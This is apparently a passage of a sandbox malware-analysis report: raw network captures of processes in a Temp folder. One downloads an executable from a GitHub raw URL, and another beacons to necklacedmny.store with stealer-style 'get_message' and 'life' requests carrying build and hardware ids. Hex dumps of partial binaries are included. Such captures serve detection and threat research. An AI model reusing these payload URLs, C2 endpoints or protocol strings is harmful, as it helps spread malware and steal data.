2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: 37 33 3c 13 85 82 f1 24 17 91 91 ef ff 6e 9f 81 a1 9b fb 33 79 0b f0 69 cf 3f 43 f2 96 bf 0b 13 99 68 58 00 c3 bf 28 83 ee 9a 98 9c 77 63 d9 0e c4 e8 2b 69 41 26 e2 7d a5 d3 e7 1b 5c 95 b3 e7 27 d2 4d 1c 14 2f 2b 3f d7 9f 57 eb 70 4b b0 ad 57 92 8f d0 bd 2c 9c c4 d3 84 fc 42 1b 09 db 5b 4e bb 4c 5a 26 8e 84 f7 e3 83 dc a1 ec ca 55 b5 f2 9f d8 e2 c7 91 63 f7 cd f4 23 78 a0 37 43 dd 23 23 aa f4 af 44 6e 66 50 e9 33 bf 3f 25 de df 22 33 54 83 de 48 92 e9 bd e2 82 dd bf 33 6d 25 de 9f 2e af a4 a7 08 92 7d 4e ff fe 73 37 04 04 3b fb f9 30 e0 91 72 e6 63 57 64 76 22 f5 f6 bc 26 bb 46 9c eb e9 5f f6 a4 ce bb e2 06 4f cb 61 f5 e8 2b 7d cb 63 a6 90 dd 71 77 fb eb dc 7f bf 57 3c 8e d2 e8 96 ac 13 84 f7 72 bc 19 2c 0c ee d6 aa 78 38 fe fc 56 76 98 71 a4 84 3e 6a b5 Data Ascii: 73<$n3yi?ChX(wc+iA&}\'M/+?WpKW,B[NLZ&Uc#x7C##DnfP3?%"3TH3m%.}Ns7;0rcWdv"&F_Oa+}cqwW<r,x8Vvq>j
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: eb 78 0c c1 5d c3 b9 6d b4 a3 24 0f 58 69 82 bb 8b 90 76 1d bc e6 61 dd 10 eb a3 6b 7d 37 36 6b 34 f3 f8 03 5d 8f af 36 da c6 8e 32 1e 28 ca b7 d5 10 3d c6 0e e3 a2 55 bb 00 77 72 3e ea 24 1e 2e ba dd 31 57 cf b6 70 cf 4e c4 1d d8 29 8f 30 5f 61 5e e3 41 54 15 b2 f2 e5 cf 71 d2 48 29 84 c4 71 e1 2f e3 74 fd 13 c7 45 34 1c 61 d9 b9 ab 63 b6 11 84 d1 5a 01 ee 2d 60 f3 d5 58 02 20 38 6f 46 ad d1 16 04 d8 c5 5b 24 fb 78 e4 ef b5 93 b6 d9 e8 98 b5 70 3b b3 fa bb 18 4a da 06 26 66 7c 48 17 a3 d5 8a 48 48 22 b6 32 91 2c e4 ec cf bf 71 f2 c3 7c 1f bf 93 8f c7 46 99 51 98 cf c4 19 e7 b0 79 84 e2 b2 ad 44 e5 a5 af 93 9a ed 8d ab 8a 3a af 76 50 51 11 b7 a5 08 7d e1 ef 0e e3 3d 01 ec 2f 72 e8 68 2b 73 4a bf ed 67 2b e9 c9 2e 99 fb e6 2a 93 e7 7a 72 c9 1d 95 9c 8f c7 Data Ascii: x]m$Xivak}76k4]62(=Uwr>$.1WpN)0_a^ATqH)q/tE4acZ-`X 8oF[$xp;J&f\|HHH"2,q\|FQyD:vPQ}=/rh+sJg+.*zr
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: 2f 07 24 cf af dd 3c 45 3a c7 0f f2 49 74 73 05 b8 86 56 47 e7 e4 c7 ad 5c 84 fe 77 dc 22 af cc fa 88 c7 bf bd b5 fe 6d 73 e9 e7 2e c0 5b 6d 02 90 b0 00 f3 ce 3d ee c5 01 8b d9 54 46 91 e8 70 d6 05 b3 17 f5 80 5a 92 44 ad 16 03 37 76 da e5 d4 7b 79 35 f0 8c c9 0e 5d 0c 78 de 29 26 9f 53 3d cd 71 7b d2 5c 7c 84 73 e3 7b ac 14 bc 97 75 20 35 46 02 e0 3b 70 0c 1c 01 df 8d 82 65 b7 be 68 7f 69 e1 65 3a d3 88 e8 72 67 8b 4b 16 28 58 37 b6 53 b8 25 4f f3 18 b0 b4 c8 6e a8 57 59 0b 49 6e 41 12 cb 51 aa 3d 6e 48 2d 65 a5 3e aa 3a 4b 55 5e e8 fe a2 0b 82 54 c9 01 5b 12 e0 c3 ba 99 a0 a1 cc d4 ab 62 be 3c cc 62 e6 f1 e8 8d 53 6f b0 57 86 1a d0 ba 5b f4 90 fe 1e 93 fc 73 25 9a 49 70 84 14 e8 6d c0 03 62 3e 40 89 57 1f a0 2b d1 94 92 4d 14 6f 6a 33 f7 46 19 09 82 55 Data Ascii: /$<E:ItsVG\w"ms.[m=TFpZD7v{y5]x)&S=q{\\|s{u 5F;pehie:rgK(X7S%OnWYInAQ=nH-e>:KU^T[b<bSoW[s%Ipmb>@W+Moj3FU
2024-10-29 23:21:29 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p3ffd8oig19stvcqvgsh62ss3p; expires=Sat, 22 Feb 2025 17:08:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M8YAbi1Qq%2FnJ7P%2FdjaksmstGLCpuqs10txNXg2J9Fbo01y916PVdkhqpAMeFc8G%2BqAL2ImNeuX%2FCMKu5zIK9Hy77QQ9O9eH168cOfSNWBfNVHanK9cNeKUpOPJ9LlGV1VEsEoLY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6ed7fe5e832-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1177&sent=219&recv=610&lost=0&retrans=0&sent_bytes=2844&recv_bytes=568559&delivery_rate=2100072&cwnd=251&unsent_bytes=0&cid=6a2f57fe216acab4&ts=1814&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	59801	140.82.121.3	443	2276	C:\Users\user\AppData\Local\Temp\1002474001\Session.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:28 UTC	110	OUT	GET /vonuch1/start/raw/refs/heads/main/khtoawdltrha.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-10-29 23:21:29 UTC	561	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 29 Oct 2024 23:21:29 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/vonuch1/start/refs/heads/main/khtoawdltrha.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-10-29 23:21:29 UTC	3384	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	59803	185.199.111.133	443	2276	C:\Users\user\AppData\Local\Temp\1002474001\Session.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:30 UTC	121	OUT	GET /vonuch1/start/refs/heads/main/khtoawdltrha.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-29 23:21:30 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1290240 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "2011826a09bfb367cba9fbc47f154dd525a0107b32e88aa4420c5b7ecb319c80" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 184C:B3815:C1EB1C:D35CEE:67216DF8 Accept-Ranges: bytes Date: Tue, 29 Oct 2024 23:21:30 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120111-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1730244090.202506,VS0,VE189 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 757d1bba8e804b587c5569ae049d45f8100009df Expires: Tue, 29 Oct 2024 23:26:30 GMT Source-Age: 0
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 a7 cd 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 44 04 00 00 d4 00 00 00 00 00 00 16 8b 01 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 3c 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 d0 2d 00 14 02 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELgD@0<@ -
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: 76 12 85 a8 86 bf f8 9c 92 0e 22 88 fb 4b 6b 41 a2 b1 1d f7 19 ab ab 34 9c 3f 78 8d 75 e0 53 fe f3 a0 ae 8e e7 73 f2 41 a5 eb 4a 8f d8 b1 3f 0f 7d d8 d5 6b cd fd 3a 21 8b 49 16 cb 58 f7 1b fb 86 5e 86 b4 de 78 14 4a 5e 77 e4 25 e4 c3 80 83 3e 50 c1 95 65 b7 42 c9 b3 0f 04 95 f0 f2 b4 0c d9 ef 6f 29 4c 81 25 84 84 fa e2 74 26 7e 20 8d 99 19 7f 4a 8b d3 db d1 55 48 f0 bb aa 4a 4d 87 7c 8e ed 6a 99 2c d8 a9 03 b0 be ab ed 29 e0 4d a3 c3 36 a7 96 a5 39 b9 75 2d e0 2f d7 8a 41 f3 58 46 6b b1 0f ef 57 eb e9 88 79 fe 26 1b 8e 98 6e cf 5f 25 d2 34 e2 85 32 5e b8 c3 a3 ea 40 cf c1 81 35 7c 1f ad 00 ba 6b 0b a4 5b 46 d8 51 80 2b 7c 33 dd 6c 6d 02 37 22 36 e4 71 29 2c 96 68 a9 7a 6c ff bc dd 93 b2 9f 97 cd cf 75 7d 5c 58 9d b9 dd 36 03 18 93 ca bb ac d1 c1 c1 17 25 Data Ascii: v"KkA4?xuSsAJ?}k:!IX^xJ^w%>PeBo)L%t&~ JUHJM\|j,)M69u-/AXFkWy&n_%42^@5\|k[FQ+\|3lm7"6q),hzlu}\X6%
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: 9a 02 ee ac c5 29 80 b5 32 1f ac cd ed 67 2b 5c 0d b7 ba 22 cc 8b a7 2e 8d 7e f6 8f 5d 40 28 07 44 7b 06 35 b1 8f 3d fb d2 3c 42 3c ee 80 67 ca 06 7a f8 8a 0e d7 df 68 93 47 ed 1d 72 cf 65 c2 fa b2 00 ac 54 b4 78 97 6a 90 10 6b 41 d1 ec 8c d0 10 4f 19 41 8c 87 17 03 e1 93 02 c1 e0 82 53 ef da 6a 23 e5 19 4c 60 9a b0 6c 5d cc 20 bb 13 b7 5c 76 8c 12 45 c3 33 dd 8c 78 09 7e f4 97 6b 3a b1 a5 d2 31 ec c3 f5 62 22 b4 0c 0b 85 62 2f 9c 7b 8a 59 af 6b 2e db ff 9e 9f cb 10 5d 76 d8 ea b6 3e e4 c8 44 b7 69 8d 0a cf 3e de c4 55 c2 f0 78 e9 e9 1a 20 e2 78 70 b8 01 62 e9 19 e2 b5 1f d3 f8 c8 da 07 f7 af d3 a4 f2 24 31 0b da 39 47 62 be 20 4a b8 8f c0 4b 6e 1f 86 00 b8 c9 64 15 cf 13 37 e3 1f 11 11 48 e6 2a bc f6 58 ad 34 5d a7 54 16 85 01 07 f7 75 cc 69 26 92 cc 70 Data Ascii: )2g+\".~]@(D{5=<B<gzhGreTxjkAOASj#L`l] \vE3x~k:1b"b/{Yk.]v>Di>Ux xpb$19Gb JKnd7H*X4]Tui&p
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: 55 a5 03 99 87 70 e4 95 70 18 80 de ee 9e 52 cb f8 0e 76 bd 04 97 49 98 80 c7 17 9a 67 37 0a a5 bc 74 05 82 9a 1f fe 26 57 82 b4 3f cd 35 8f 42 f5 0d b4 30 e0 9f 67 57 cf c6 86 58 6a 1a ca 70 bd 5d 49 54 74 42 20 4a c7 69 02 0a 1e 13 9b ab 45 a5 2f d4 65 d9 9f 75 82 91 ca 9f 0c 05 15 2d 06 09 ff 8d 1e 65 c1 df 61 a9 fc 26 55 7a c0 09 78 34 d0 b7 4e 9d b3 3b 0d 73 86 03 98 8f 3a 18 b2 6f 99 61 3c ae bc bf 7a e9 5b 20 75 68 4c 70 dd ff 49 7a f6 ae 38 40 31 33 89 ee 3c 75 89 2a f1 19 3a 74 24 28 92 f8 b9 aa ef 4d 67 c9 92 fc 67 27 31 f0 9d 62 3b 34 8c 68 2f 63 5e 9a 68 22 51 ab dd 2b 88 f9 a6 ac c5 2e 3f 2b 41 6b 23 28 89 25 41 f0 6a cb c7 90 0d a0 d3 6a e9 f1 cb f7 f5 3a c5 c7 b1 0c c8 e6 4a 86 42 4e 9d f4 1e 64 3d f8 5c 99 0a c5 d2 cb ac 6c 6f 64 c9 ea bd Data Ascii: UppRvIg7t&W?5B0gWXjp]ITtB JiE/eu-ea&Uzx4N;s:oa<z[ uhLpIz8@13<u*:t$(Mgg'1b;4h/c^h"Q+.?+Ak#(%Ajj:JBNd=\lod
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: de 5c ea 72 a6 6f a7 5b d2 4f d9 b6 8c 68 a1 62 d4 43 d1 dc 65 d6 1b 4d fc 89 4f 98 36 02 f3 40 26 08 12 57 97 7e 11 d4 d0 0a 9f 49 7d 59 4f 5c 61 46 85 93 c6 b6 d0 63 9c 9a d1 cc 47 9a 81 7a 82 f5 16 8d cb e5 0a 69 b5 34 a5 e4 a1 6c d7 1a 94 87 03 64 3c cf 2c 65 d4 92 f4 f2 87 98 f9 36 f0 2a 9f bf a4 e3 fb 44 79 82 7b d7 2f 2b cb 24 4e 50 41 52 83 5c d8 5a 26 f8 77 a5 ab da 59 db cd 3b 80 f1 00 2c 19 0e 3f c7 41 b9 c8 51 d1 ca 93 70 d2 8e 6c a3 12 af e0 58 27 f6 88 7b b3 63 0b fe 65 17 8d 1f aa 35 ab ed 1a 17 f5 61 f3 62 08 96 73 8b 4c 1b 29 65 59 24 4a 46 67 0d de 4d 1a bc 26 1e d7 32 4d f8 a6 21 b8 03 0b ff 0b da 1b b4 fc 03 89 42 c4 ea 17 26 ae 2b f4 e3 b6 35 70 7c 29 2d ea dc e4 28 77 b6 64 8f 26 7e ab 5e bc cc ca 7b 21 f7 d7 69 b9 05 50 33 c5 1c e6 Data Ascii: \ro[OhbCeMO6@&W~I}YO\aFcGzi4ld<,e6*Dy{/+$NPAR\Z&wY;,?AQplX'{ce5absL)eY$JFgM&2M!B&+5p\|)-(wd&~^{!iP3
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: f3 9d 82 11 fa 82 77 d5 f5 d6 88 d0 f6 a5 24 bd 8d 84 7d 57 71 29 51 90 94 65 f2 8d a4 86 32 46 12 d5 bb 03 a2 8e 65 4c b7 06 3f 94 a1 9d 57 ae 5e a9 e9 c3 6c ae d5 ec 93 c1 a4 3e 5f 09 47 18 f1 40 94 00 9e ee 0c f6 ab 2b 61 36 05 ca 12 33 35 80 a8 07 1c c0 82 32 84 8c 7c 27 6b 83 55 8e 82 82 27 ec 28 e1 50 dc 65 00 b2 2b 31 ca 0e 3b 25 17 6e a1 31 77 be db 12 91 ce e3 6b a9 25 b2 8c ed 96 35 d1 10 be b7 60 67 e4 90 d2 12 a2 d0 24 96 a6 89 b9 8c dc c0 8b a5 8a 27 6e 52 1b 4b 2a 5a e6 e7 e5 6e 1a 08 01 e4 32 18 ac fd 1a 01 ef 37 0e ff d6 dd 04 40 bd a3 d7 e9 58 49 cb c1 2e 15 2f 9b e8 f9 76 d5 46 fa 3a b0 6f 05 97 bf 04 38 d0 c5 a5 0e 1c 64 1c f3 49 ee 0f 6d d1 7f 56 94 b0 9b 37 bb b3 d5 55 82 eb ea da 58 4a 04 0a 74 f3 d8 42 8f ad 89 65 a6 6c 1b 11 8f 09 Data Ascii: w$}Wq)Qe2FeL?W^l>_G@+a6352\|'kU'(Pe+1;%n1wk%5`g$'nRK*Zn27@XI./vF:o8dImV7UXJtBel
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: fc dd 18 0b 58 df 98 8c 0e 66 40 01 9e 80 49 4e 2e 4f 55 b4 e3 ce 71 ae 02 28 9d 9c 30 97 bf 5a cf 22 98 35 8b 24 05 6d da 00 4c 29 e8 c1 b7 82 bb 2a 56 3c 57 28 bd 47 47 dd 4d 56 0b 04 02 c2 c4 42 ae 3d 36 2a 08 73 f8 22 4d 30 45 1a a8 a5 bb 04 09 2e bc f3 7f 4b 76 fb 83 fc aa 1b c9 aa db ca b0 9f 4e a8 07 8d 49 47 2f b3 fe 81 70 95 6e 0d bc 84 81 a5 66 ab 41 69 e4 92 e4 3e 5f 50 35 d2 4f e1 3d d7 ac a1 f2 8c b0 fe 35 a6 ae 81 a2 66 57 5f 2d 4d df 38 e6 09 6e b6 b3 52 c1 97 14 b2 d1 1b f8 b5 30 36 82 36 cd c3 e7 83 f6 07 f9 1b 9e a4 26 64 8c 96 99 ea b8 22 d9 b1 e0 a2 1e 65 0c fc 24 1e 42 3a f2 a1 99 63 7c d3 50 ef 0e ae 93 aa 8f a0 62 a5 98 49 69 4c f4 8b 55 e3 4d 48 09 34 af 3c 8c 1b d0 ee 69 79 0c f2 ba b4 fa 78 36 0b 85 33 b5 9e a8 8b ea 9f 57 d9 59 Data Ascii: Xf@IN.OUq(0Z"5$mL)V<W(GGMVB=6s"M0E.KvNIG/pnfAi>_P5O=5fW_-M8nR066&d"e$B:c\|PbIiLUMH4<iyx63WY
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: 6f 89 3a 02 bf e1 de 6d 64 d9 0a 3b 3b 64 15 4f 37 b1 67 fc e2 64 e1 25 f6 80 b5 7d 52 56 12 ef ce b6 1c 16 8e 78 a2 95 43 40 51 54 42 59 43 ac 2c 70 b7 ac 3f 43 c7 96 9e a9 96 89 f1 c2 fc a0 26 9f fe a3 22 50 93 79 8c 2b b3 37 14 55 1f a5 70 80 66 92 f9 e1 0f 30 d2 97 61 b2 0f 67 83 b5 6d ea 47 10 86 dc 43 fe db c4 c5 46 f4 b3 98 fa 07 d0 06 d6 1f 0d 03 cb 61 56 27 66 c1 ac 12 46 39 e2 96 e5 c3 27 d2 81 01 e8 61 04 85 44 b6 21 ad 06 be 41 1b 61 4a 05 9f b3 c6 64 6e cc 6d 07 1a ab 69 cb 2b ec d3 8c f8 60 a1 53 c1 16 02 79 6e 45 f7 38 8b 81 81 d3 4e 3f 8c 0d 60 ce fa d1 3d d9 ff c2 22 90 ad e4 86 0d ab 38 c8 ed 0a 9a 1c df cc e2 62 9e 22 f3 02 02 11 12 94 b1 94 fa ab 03 3b 77 21 73 1b 3f e8 2c 98 ca 83 45 a9 d4 e8 66 98 9b 59 c1 27 a2 f9 de 35 d6 42 73 21 Data Ascii: o:md;;dO7gd%}RVxC@QTBYC,p?C&"Py+7Upf0agmGCFaV'fF9'aD!AaJdnmi+`SynE8N?`="8b";w!s?,EfY'5Bs!
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: f9 3a 14 7f 20 f5 95 3e 06 e3 90 81 e4 6e 09 35 f4 f9 fb d1 3e cd f4 b5 46 43 da 02 e3 fc 30 b7 22 65 ae cf 9c 04 80 44 90 85 26 00 5c bc 95 2a e6 7e f5 9f a8 b5 66 64 77 f9 0d 3f 48 20 b7 aa f2 18 04 1a f3 92 a6 b0 74 68 a5 b4 a7 fe 06 d6 ab be 8a 41 73 4c db fb d3 4a 12 25 93 2d 61 79 f7 96 ff d7 d2 e3 f1 9b e8 6c a5 a5 3d dd ee 40 cf b0 22 9e f1 2f aa 3b 03 b4 00 dc 2e 78 75 91 fc 7c fa 73 c9 ba 88 9b c6 d2 9f b9 4b f6 54 67 4f f8 71 2e dd 1b 7d 5d ac f5 60 07 08 8d df 35 c3 5a 3e 3d 51 12 36 37 4f 7a ba 2b 36 3e 72 07 af a1 5e 5a 71 cd 30 d8 8a 50 c3 14 9c cf 90 91 9c 4f 43 2b 52 dc fc b8 b9 32 b5 db 1e 77 52 5b e2 7c 78 b5 e8 19 f8 31 c4 70 57 06 52 d0 31 f1 a5 e1 94 52 9f 21 08 2b 07 98 b4 76 5c 4e be 5b 38 1b 47 97 d2 21 81 f1 e8 a1 72 09 15 84 91 Data Ascii: : >n5>FC0"eD&\*~fdw?H thAsLJ%-ayl=@"/;.xu\|sKTgOq.}]`5Z>=Q67Oz+6>r^Zq0POC+R2wR[\|x1pWR1R!+v\N[8G!r
2024-10-29 23:21:30 UTC	1378	IN	Data Raw: 8e 0f d2 ab ed 90 34 fa a3 11 5d 9e 3e a7 1f 38 22 72 a0 69 79 4f 80 0a e9 0c 35 7e e4 3c 32 8e a5 5b f3 b8 1b 5f 83 47 b9 0b 48 e2 14 4f 01 e7 3f fa 12 4d 28 7e f5 60 8c 47 de 2a 9a 12 00 b4 cb 9d c9 1b 7c 44 e7 1b 90 87 c4 c9 06 4f 7f 5e f2 fa f7 e3 f1 64 a3 f1 a8 c1 b9 92 d4 86 81 65 f7 cc 60 57 8c b3 c2 ae eb 06 97 97 b3 04 08 93 de 8b 8c ae 5f a5 07 52 56 b9 43 ea 24 d0 06 4c 22 3a a1 a9 1f ad 38 8c b4 2e 48 c2 c6 c1 72 5b d1 5e 7a 01 32 6f c9 57 c0 3f e6 47 9a f0 4f 77 5d 6f 15 9a df ad c0 8b 44 3d 36 d1 35 ef 53 f6 09 eb 0e d4 ef ee de bf b7 b3 6e 55 0b 3a 45 75 8b 38 7d a0 a7 0b 18 c6 de 35 67 2c 34 78 20 4e 16 01 f1 48 2d 7b 21 e8 90 49 f9 b8 3d b3 86 d3 79 82 d5 6e 2a 26 83 fa b7 ea 10 6c ff da 43 9c e0 68 e6 a1 f3 17 7d e6 33 e7 93 4b dc 3b 9d Data Ascii: 4]>8"riyO5~<2[_GHO?M(~`G\|DO^de`W_RVC$L":8.Hr[^z2oW?GOw]oD=65SnU:Eu8}5g,4x NH-{!I=yn&lCh}3K;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	59806	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 23:21:30 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=497D6BCDF05AD45C7EB166DF7FB1EC2E
2024-10-29 23:21:31 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pp46o2okqfvb7nldrle2okltuj; expires=Sat, 22 Feb 2025 17:08:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fQPyiRkkiNqunA9yqSplCiOaH3nhUC7zmyOc53S6EW2%2B5DE6C3H1WK8SqvC7HTvkTD5Smv0phhWcwqURdS80xgYMTYCJJHHpvAMeEZ%2BFDBvLAEpaidaPp0YBIQaAkGqV%2FHZYF6k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6fe69eb2e17-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1632&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=1796526&cwnd=245&unsent_bytes=0&cid=3ad5e2ec93170574&ts=718&x=0"
2024-10-29 23:21:31 UTC	214	IN	Data Raw: 64 30 0d 0a 42 69 4c 75 4c 43 63 6b 47 65 62 59 44 4a 62 4a 57 57 43 55 38 36 4f 73 78 76 4a 64 4e 4a 35 76 64 61 4d 57 75 6b 48 55 4a 6e 74 64 57 63 78 5a 42 52 34 37 6a 71 78 34 35 76 4d 46 54 38 6a 63 6b 70 54 7a 33 47 38 46 71 30 46 45 6b 69 57 55 63 4f 4a 36 56 47 6c 45 69 48 41 49 51 48 79 41 39 6d 6e 75 72 48 74 4d 74 70 58 58 6a 76 7a 43 63 52 62 37 54 55 2b 54 61 35 59 36 39 6c 4e 5a 50 41 43 47 57 46 4e 55 49 37 72 33 55 4c 6e 34 59 56 57 36 77 5a 4b 5a 36 4d 4e 73 42 37 42 65 51 2f 38 35 31 79 69 36 51 79 63 70 55 49 39 43 51 30 74 30 79 4c 31 30 38 2b 74 31 51 76 4b 48 67 5a 62 32 33 6e 39 52 76 46 56 46 33 6b 73 3d 0d 0a Data Ascii: d0BiLuLCckGebYDJbJWWCU86OsxvJdNJ5vdaMWukHUJntdWcxZBR47jqx45vMFT8jckpTz3G8Fq0FEkiWUcOJ6VGlEiHAIQHyA9mnurHtMtpXXjvzCcRb7TU+Ta5Y69lNZPACGWFNUI7r3ULn4YVW6wZKZ6MNsB7BeQ/851yi6QycpUI9CQ0t0yL108+t1QvKHgZb23n9RvFVF3ks=
2024-10-29 23:21:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	59807	188.114.97.3	443	4280	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:31 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 23:21:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
